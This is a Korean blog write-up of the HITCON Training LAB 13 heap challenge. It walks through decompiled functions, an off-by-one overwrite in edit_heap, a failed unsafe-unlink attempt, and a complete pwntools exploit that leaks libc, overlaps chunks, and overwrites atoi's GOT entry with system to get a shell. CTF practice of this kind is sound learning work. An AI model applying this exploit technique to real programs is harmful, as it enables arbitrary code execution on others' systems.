블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 13
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 13

728x90

 

1. 문제


1) mitigation 확인 

카나리, NX가 걸려있다 

 

 

 

2) 문제 확인 

힙 문제로 보인다. 생성, 수정, 확인, 삭제가 가능하고 5번을 입력하면 종료가 된다 

 

 

 

3) 코드흐름 파악 

  • create_heap() 함수
    unsigned __int64 create_heap()
    {
      heaparray *v0; // rbx
      int i; // [rsp+4h] [rbp-2Ch]
      size_t size; // [rsp+8h] [rbp-28h]
      char buf; // [rsp+10h] [rbp-20h]
      unsigned __int64 v5; // [rsp+18h] [rbp-18h]
    
      v5 = __readfsqword(0x28u);
      for ( i = 0; i <= 9; ++i )
      {
        if ( !heaparray[i] )
        {
          heaparray[i] = (heaparray *)malloc(0x10uLL);
          if ( !heaparray[i] )
          {
            puts("Allocate Error");
            exit(1);
          }
          printf("Size of Heap : ");
          read(0, &buf, 8uLL);
          size = atoi(&buf);
          v0 = heaparray[i];
          v0->content = (char *)malloc(size);
          if ( !heaparray[i]->content )
          {
            puts("Allocate Error");
            exit(2);
          }
          heaparray[i]->size = size;
          printf("Content of heap:");
          read_input(heaparray[i]->content, size);
          puts("SuccessFul");
          return __readfsqword(0x28u) ^ v5;
        }
      }
      return __readfsqword(0x28u) ^ v5;
    }
    • heaparray 배열은 bss 영역에 관리되는 구조체로 파악된다. 멤버변수는 사이즈, 컨텐트 이렇게 두개이기 때문에 해당 구조체를 직접 선언하여 코드를 파악하기 쉽게 변경했다
    • heaparray는 10개의 인덱스를 가지기 때문에 이를 넘어서지는 못한다
    • 0x10 고정 사이즈로 동적할당을 받고 이 주소를 배열에 넣는다
    • 그다음, 사용자가 입력한 사이즈를 넣고, 요청 사이즈만큼 할당받은 주소를 넣는다.
    • read_input함수를 이용하여 content를 넣는다.
    • 결론적으로 create_heap함수가 호출될때마다 아래와 같은 청크가 생성된다
    • 분홍색 청크는 고정으로 생성되는 청크부분이다. 사이즈와, content mem 영역의 주소를 담고 있다

 

  • delete_heap() 함수
    unsigned __int64 delete_heap()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( heaparray[v1] )
      {
        free(heaparray[v1]->content);
        free(heaparray[v1]);
        heaparray[v1] = 0LL;
        puts("Done !");
      }
      else
      {
        puts("No such heap !");
      }
      return __readfsqword(0x28u) ^ v3;
    }
    • content영역 청크를 먼저 free하고, 그다음 0x20 고정사이즈 청크를 해제한다.
    • 해당 인덱스를 0으로 만들어 DFD가 불가능하다

     

  • edit_heap() 함수
    unsigned __int64 edit_heap()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( heaparray[v1] )
      {
        printf("Content of heap : ");
        read_input(heaparray[v1]->content, heaparray[v1]->size + 1);
        puts("Done !");
      }
      else
      {
        puts("No such heap !");
      }
      return __readfsqword(0x28u) ^ v3;
    }
    • 수정하고자 하는 배열읠 인덱스를 선택하고 조건에 맞으면 read_input함수를 호출하여 content영역을 수정한다
    • 여기서 수정할수 있는 사이즈는 기존 size+1이다.

 

  • show_heap() 함수
    unsigned __int64 show_heap()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( heaparray[v1] )
      {
        printf("Size : %ld\nContent : %s\n", heaparray[v1]->size, heaparray[v1]->content);
        puts("Done !");
      }
      else
      {
        puts("No such heap !");
      }
      return __readfsqword(0x28u) ^ v3;
    }

     

     

2. 접근방법


우선 우리가 현재 우리의 상황을 나열해보자. 

  1. heap은 전역에서 관리됨
  1. DFB는 불가능
  1. edit_heap 함수를 이용하여 다음 청크의 사이즈를 변경가능

 

LAB 11 문제에서 Unsafe Unlink를 공부했는데, 이 문제도 주어진 조건으로 Unsafe Unlink를 조질수 있을거라 생각했다. ㅅㅂ 왜그랬을까 

 

0x28을 요청해도 0x30, 0x20을 요청해도 0x30 사이즈의 청크가 할당되므로 이를 이용해서 0x28크기의 청크를 요청하면 다음 청크의 prev_size까지 데이터를 입력가능하고, edit_heap함수로 다음 청크의 사이즈를 변경가능하기 떄문에. unsafe unlink를 위한 데이터를 맞춰주었다 

 

...
payload = p64(0)*2+p64(0x6020A0-24)+p64(0x6020A0-16)
payload += "A"*0x58
payload += p64(0)
payload += p64(0x80)

create(0x88,"A") # 2
create(0x80,p64(0)*13+p64(0x21)) # 3
edit(2,payload+p8(0x90))
create(0x80,"C")
...

 

근데 왜 자꾸 double list free 어쩌구 에러가 자꾸남. ㅅㅂ int_free 디버깅해보자.. 

 

위 사진에서 +519 cmp에서 자꾸에러가 나는 것이였다. 저 부분이 어느 부분이냐면, FD→bk = p 인지, BK→fd = p 인지 확인하는 부분이다. 결론적으로 현재 컨텐트를 담고있는 청크가 전역에서 관리되야하는데, 이 문제는 컨텐트가 아닌, 아까 고정사이즈 청크가 관리되고 거기를 통해 content청크가 관리되므로 이 문제는 이렇게 접근하는게 아니다. 라고 4시간 만에 깨달음. 

 

뭐.. 삽질도 공부의 과정이니, Unsafe Unlink를 확실히 알게됬음. 

 

이제 다른방법을 생각해봐야한다. 왜 edit_heap함수에서 size+1을 해줄까? 이 부분이 의미가 있어보인다. 해당 문제에서 create_heap을 호출하면, heaparray에 고정청크 주소가 들어가고 해당 청크+0x18위치에 content주소가 들어간다고 했다. 

 

edit_heap함수는 저 +0x18 위치에 있는 content주소를 참조하여 해당 영역의 데이터를 수정할수 있게 해준다. 만약 저 +0x18 위치에 있는 content주소를 다른 값으로 바꿔버리면, 원하는 공간에 데이터를 쓸수 있다. 

 

그렇다면 일반적으로는 content영역에만 데이터를 쓸수 있기 때문에, 어떻게 +0x18에 데이터를 넣을수 있을까?  

 

우선 저렇게 Create_heap 함수를 두번 호출해서 다음과 같이 청크가 만들어졌다고 가정해보자. A청크의 컨텐트에는 A를 존나게 넣는데 최대 B청크의 prev_size까지 삽입 가능하다. 여기서 edit함수를 호출하여 B청크의 size를 변경해보자 

 

B청크의 size가 0x41로 변경되었다. 이상태에서 free(1)(1번 인덱스인 B)를 하면 초록색 부분인 content 청크가 먼저 fastbin에 들어가고, 그다음 B청크가 free되서 들어가는데, 지금 우리가 size를 0x41로 변경했기 때문에 0x41로 사이즈를 착각하여 빈에 들어갈것이다 

 

그렇게 되면, 우리가 0x30을 malloc 요청하게 되면, 고정 사이즈인, 0x20 청크가 초록색 부분을 재할당 받을 것이고, 그다음 0x40청크를 재할당받게 될 것이다 

 

요렇게 4번 create_heap(0x30)을 하게 된다면, 0x20 청크인 초록부분을 먼저 재할당해주고, content 청크를 빨간박스로 하여 재할당 해줄것이다. 우리는 C청크 +0x10 부터 데이터를 0x30만큼 넣을수 있는데, 이를 통해 'Content 주소' 부분을 변경가능하다 

 

저 주소를 atoi함수의 got로 변경시키고, edit_heap() 함수를 통해 해당 영역에 system 주소를 넣을 것이다. 그다음 메인에서 read함수 호출시 /bin/sh 를 입력하고 atoi가 호출된다면 system('/bin/sh')가 호출될 것이다 

 

참고로 libc을 이거하기 전에 먼저 해야하는데, 나는 unsorted chunk size를 할당하고 fd에 들어간, main_arena+88 주소를 이용하여 libc_base를 계산하였다. 

 

 

 

3. 풀이


libc은 동일 unsorted 청크 사이즈를 2개 create_heap을 호출하여 만들어주고, 하나를 free시킨다. 그다음 또 동일한 사이즈를 create_heap 호출시 요청하면, 아까 free 시킨 청크를 재할당 받게 되는데, 현재 이 청크는 free되었기 때문에 fd에 main_arena+88 주소가 들어가 있다. 

 

이 주소를 show()함수를 이용하여 leak 하였다. 

최종 익스코드는 다음과 같다 

from pwn import *
p=process("./heapcreator")
context(log_level="DEBUG")
e=ELF("./heapcreator")
#gdb.attach(p,'code\nb *0xB2B+$code\n')



def create(size,content):
	p.sendlineafter("Your choice :","1")
	p.sendlineafter("Size of Heap : ",str(size))
	p.sendafter("Content of heap:",str(content))

def edit(index,content):
        p.sendlineafter("Your choice :","2")
        p.sendlineafter("Index :",str(index))
        p.sendafter("Content of heap :",str(content))

def show(index):
        p.sendlineafter("Your choice :","3")
        p.sendlineafter("Index :",str(index))

def delete(index):
        p.sendlineafter("Your choice :","4")
        p.sendlineafter("Index :",str(index))


create(128,"A")
create(128,"A")

delete(0)

create(128," ")

show(0)
p.recvuntil("Content : ")
main_arena=u64(p.recv(6)+"\x00\x00")
puts_addr=main_arena-0x355490
libc_base=puts_addr-0x06f690
system_addr=libc_base+0x045390
log.info("main arena :: "+hex(main_arena))
log.info("puts addr :: "+hex(puts_addr))

create(0x38,"A")
create(0x10,"B")
edit(2,"A"*0x38+"\x41")
delete(3)

payload="A"*0x20+p64(0x40)+p64(e.got['atoi'])
create(0x38,payload)
edit(3,p64(system_addr))

p.sendlineafter("Your choice :","/bin/sh\x00")


p.interactive()

 

 

 

 

 

4. 몰랐던 개념


  • 모르는 개념은 없지만, 아직 부족하다. 기법에 집중하지말고, 분석능력에 집중하자.
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 15  (0) 2020.04.23
[Hicon training] LAB 14  (0) 2020.04.23
[Hicon training] LAB 12  (0) 2020.04.21
[Hicon training] LAB 11  (0) 2020.04.20
[Hicon training] LAB 10  (0) 2020.04.16